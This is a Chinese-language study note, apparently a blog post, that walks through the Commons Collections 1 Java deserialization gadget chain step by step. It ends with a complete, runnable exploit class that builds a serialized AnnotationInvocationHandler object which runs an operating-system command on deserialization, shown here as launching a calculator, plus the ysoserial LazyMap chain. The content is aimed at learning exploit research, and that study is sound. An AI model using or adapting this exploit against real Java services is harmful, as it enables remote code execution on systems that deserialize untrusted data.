Commons Collections1 利用链分析笔记

简介: Commons Collections1 利用链分析

环境下载

环境jdk 8u65

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

然后下载sun包,点击zip

https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

下载后解压,把 jdk-af660750b2f4/src/share/classes/sun 放到jdk中src文件夹中,默认有个src.zip 需要先解压            

然后创建maven项目

把src文件加载进来

640.png

 导入依赖                          

<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies

 然后下载源码

 

环境准备完成。

我这里就不过多解释cc链了

这里在唠叨一下,反序列化漏洞

这里借用白日梦组长的图

反序列化原理

反序列化的原理是,类实现Serializable接口,接收任意对象执行readObject方法。

那如何找漏洞点?

结合之前代码审计的思路,比如关键字寻找exec,然后查找 那个方法调用了exec函数,然后又是那个类调用了这个方法。

如下图

a方法执行了readObject,在方法中有个o方法又调用了aaa,查找aaa发现里面还有一个o2.xxx 最终找到exec危险函数。

反序列化中离不开的两个东西,一个是map集合,一个是反射。

如果对反射不太了解,可以参考之前的博文

反射教程

640.png

命令执行的方式

分析之前,先捋一下,java中如何执行命令

常规命令执行

Runtime.getRuntime().exec("open -a calculator");

通过反射执行命令

ClassaClass = Runtime.class;              
Runtime r = Runtime.getRuntime();              
Method exec = aClass.getMethod("exec", String.class);              
exec.invoke(r,"open -a calculator");

通过Transformer执行命令

Runtime r = Runtime.getRuntime();              
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"} ).transform(r);

通过上面三种方式,是不是稍微好理解了。

漏洞分析之Transformer

那么就开始分析漏洞了,在CC1这条链中,Transformer是一个接口

InvokerTransformer 实现Transformer接口,在实例化时需要传入三个参数(方法名,参数类型,参数列表),回调其transform方法即可回调input对象的相应方法(用于调用任意方法命令执行):

这里就是反射调用的代码,传递的三个参数代入进来就是exec,r,calc

640.png

 然后查找调用关系,这里可能有个疑问,那么多的的调用,为什么找最后一个,因为反序列化离不开map集合

这里的checkSetValue方法需要传入一个value,然后回调给Transformer

640.png

protected Object checkSetValue(Object value) {              
    return valueTransformer.transform(value);              
}

回找valueTransformer参数在哪里,这里用的protected修饰符,无法直接引用

640.png

关于 public private protected default也就是不写 他们四个的区别我这边简单阐述下

default (即默认,什么也不写): 在同一包内可见,不使用任何修饰符。使用对象:类、接口、变量、方法。

private : 在同一类内可见。使用对象:变量、方法。注意:不能修饰类(外部类)

public : 对所有类可见。使用对象:类、接口、变量、方法

protected : 对同一包内的类和所有子类可见。使用对象:变量、方法。注意:不能修饰类(外部类)

再接着找TransformedMap能够被调用访问的方法,这里有个decorate方法,传入map集合,在传入key和value。

那么就可以通过decorate方法进行调用,然后传入map集合,key为空,value为invokerTransformer。

相当于间接访问checkSetValue方法中的valueTransformer.transform,即 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"} ).transform(r);

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"});              
HashMap<Object,Object> hashedMap = new HashMap();              
TransformedMap.decorate(hashedMap,null,invokerTransformer);

然后再去找checkSetValue调用方法

MapEntry类中的setValue里面调用checkSetValue,这里需要设置一个value值,通过Map的for循环设置

640.png

中途代码验证

利用链完成了一半,尝试写代码进行验证      

 Runtime r = Runtime.getRuntime();              
 InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"});              
 HashMaphashedMap = new HashMap();              
 hashedMap.put("key","bbb");              
 Mapmap = TransformedMap.decorate(hashedMap, null, invokerTransformer);              
 for (Map.Entry entry:map.entrySet()){              
     entry.setValue(r);              
 }

打个断点可以看到,MapEntry中的键值对已经显示出来了

这里的checkSetValue也存在数据,说明刚才的分析是对的

640.png

最后到达漏洞点

640.png

寻找入口点

这里已经找到了setValue,完整的攻击链还差一步,寻找readObject

 

在sun.reflect.annotation下发现了readObject方法

遍历集合,获取key

640.png

查看最上面的代码

使用了class修饰 所以访问需要当前包下

构造方法传入两个参数,第一个是注解,第二个是map集合

刚好是符合上面构造的exp的参数,集合map

这里需要使用反射加载才能调用这个构造方法

 InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"});              
 HashMap<Object,Object> hashedMap = new HashMap();              
 hashedMap.put("key","bbb");              
 Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, invokerTransformer);              
 Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");              
 Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class);              
 constructor.setAccessible(true);              
 Object o = constructor.newInstance(Override.class, map);              
 serializable(o);              
 unserializable("ser.bin");

大致是这样的,但是无法运行。

通过反射序列化Runtime类

反序列必须继承Serializable接口,Runtime 无法序列化

setValue的值无法控制

640.png

遍历map中需要绕过两个if判断

640.png

解决三个问题

先解决Runtime问题

虽然Runtime无法序列化,但是Class是可以序列化的

Runtime.class

所以代码如下

Class c = Runtime.class;              
Method getRuntime = c.getMethod("getRuntime", null);              
Runtime r  = (Runtime) getRuntime.invoke(null, null);              
Method exec = c.getMethod("exec", String.class);              
exec.invoke(r,"open -a calculator");

 转换一下              

Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);              
        Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);              
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"}).transform(runtime);

这里可以优化下,使用数组,有个类,这里的构造函数中里面传入数组即可

           

优化数组代码 

Transformer[] transformer  = new Transformer[]{              
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),              
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),              
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})              
        };              
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);

最终代码

// 命令执行代码              
        Transformer[] transformer  = new Transformer[]{              
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),              
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),              
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})              
        };              
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);              
        //遍历map              
        HashMap<Object,Object> hashedMap = new HashMap();              
        hashedMap.put("key","aaa");              
        Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);              
        // 反射引用AnnotationInvocationHandler              
        Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");              
        Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class);              
        constructor.setAccessible(true);              
        Object o = constructor.newInstance(Override.class, map);              
        //序列化              
        serializable(o);              
        unserializable("ser.bin");

在解决if判断

这里两个if 分别是检测key中的value是否为空,第二个if是判断参数是否强转。

这里打个断点调试下

这里的memberType是传入的注解 Override,成员变量为空

这里的memberValue是map中的Override,通过这个Override寻找这个value,下一步后,直接跳出判断,

override是单独的接口,没有成员方法,这里换成其他注解 target

640.png

发现他有个成员方法,value            

640.png

替换后重新断点,发现找到了参数

           

这里第二个if也成功绕过

         

然后就是第三个参数是否可控,点击setValue 进来,跳转到transformmap中的check方法,value为固定的,无法控制执行任意类

640.png

但在一开始查找transform,会有一个ClosureTransformer类,这里的transform传递的参数不论是什么,都会返回一个常量,因此通过这个进行覆盖。

原本调用valueTransformer.transform(Object),中途在换 ClosureTransformer.transform(Object) 只要最终调用到transform(Object)就可以执行任意类。

640.png

在数组中添加一下代码,把value替换为Runtime.class即可执行命令

new ConstantTransformer(Runtime.class)

现在屡屡,这就是最终的调用链,在最终调用transform的时候,用的是不同类的同名函数。

           

最终exp

package com.test.cc;              
import org.apache.commons.collections.Transformer;              
import org.apache.commons.collections.functors.ChainedTransformer;              
import org.apache.commons.collections.functors.ConstantTransformer;              
import org.apache.commons.collections.functors.InvokerTransformer;              
import org.apache.commons.collections.map.TransformedMap;              
import java.io.*;              
import java.lang.annotation.Target;              
import java.lang.reflect.Constructor;              
import java.util.HashMap;              
import java.util.Map;              
public class Demo {              
    public static void main(String[] args) throws Exception {              
        // 命令执行代码              
        Transformer[] transformer  = new Transformer[]{              
                new ConstantTransformer(Runtime.class),              
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),              
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),              
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})              
        };              
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);              
        //遍历map              
        HashMap<Object,Object> hashedMap = new HashMap();              
        hashedMap.put("value","aaa");              
        Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);              
        // 反射引用AnnotationInvocationHandler              
        Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");              
        Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class);              
        constructor.setAccessible(true);              
        Object o = constructor.newInstance(Target.class, map);              
        //序列化              
        serializable(o);              
        unserializable("ser.bin");              
    }              
    public static void serializable(Object o) throws Exception {              
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));              
        oos.writeObject(o);              
    }              
    public static  Object unserializable(String filename) throws Exception{              
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));              
        Object o = ois.readObject();              
        return o;              
    }              
}

Ysoserial 用的是LazyMap,我们分析的是TransformedMap,中间稍微有点不太一样

    ObjectInputStream.readObject()
      AnnotationInvocationHandler.readObject()
        Map(Proxy).entrySet()
          AnnotationInvocationHandler.invoke()
            LazyMap.get()
              ChainedTransformer.transform()
                ConstantTransformer.transform()
                InvokerTransformer.transform()
                  Method.invoke()
                    Class.getMethod()
                InvokerTransformer.transform()
                  Method.invoke()
                    Runtime.getRuntime()
                InvokerTransformer.transform()
                  Method.invoke()
                    Runtime.exe

    总结

    在学习CC链的时候,最主要的还是动手练习,哪怕跟着视频抄,也会有收获。

    相关文章
    |
    Java Maven
    JAVA反序列化学习笔记4.Commons Collections2分析
    JAVA反序列化学习笔记4.Commons Collections2分析
    |
    2月前
    |
    Java
    常用工具类-Collections
    本文介绍了Java中Collections工具类的功能和用法,包括对集合进行排序、查找、填充操作,判断集合是否有交集,以及创建不可变集合的方法。通过示例代码展示了如何使用Collections类提供的静态方法,如reverse、shuffle、sort、swap、binarySearch、max、min、fill、frequency、disjoint、emptyList等,突出了Collections类在操作集合时的便利性和实用性。
    常用工具类-Collections
    |
    5月前
    commons-collections常用工具类
    commons-collections常用工具类
    36 0
    |
    安全 Java
    JAVA反序列化学习笔记2.Commons Collections1分析
    JAVA反序列化学习笔记2.Commons Collections1分析
    |
    安全 Java
    JAVA反序列化学习笔记3.Commons Collections5分析
    JAVA反序列化学习笔记3.Commons Collections5分析
    |
    Java fastjson Shell
    Commons-collections3 利用链分析笔记
    Commons-collections3 利用链分析
    |
    安全 Java
    Java安全之Commons Collections3分析
    在学习完成前面的CC1链和CC2链后,其实再来看CC3链会比较轻松。
    78 0
    |
    Java
    Java 技术篇-使用poi开源jar包实现读取excel实例演示,poi-3.17.jar获取
    Java 技术篇-使用poi开源jar包实现读取excel实例演示,poi-3.17.jar获取
    388 0
    Java 技术篇-使用poi开源jar包实现读取excel实例演示,poi-3.17.jar获取
    |
    Java 数据处理 数据库
    重构:以Java POI 导出EXCEL为例2
    前言 上一篇博文已经将一些对象抽象成成员变量以及将一些代码块提炼成函数。这一节将会继续重构原有的代码,将一些函数抽象成类,增加成员变量,将传入的参数合成类等等。 上一篇博文地址:http://www.cnblogs.
    1274 0
    |
    Java C# C++
    重构:以Java POI 导出EXCEL为例
    重构 开头先抛出几个问题吧,这几个问题也是《重构:改善既有代码的设计》这本书第2章的问题。 什么是重构? 为什么要重构? 什么时候要重构? 接下来就从这几个问题出发,通过这几个问题来系统的了解重构的意义。
    1394 0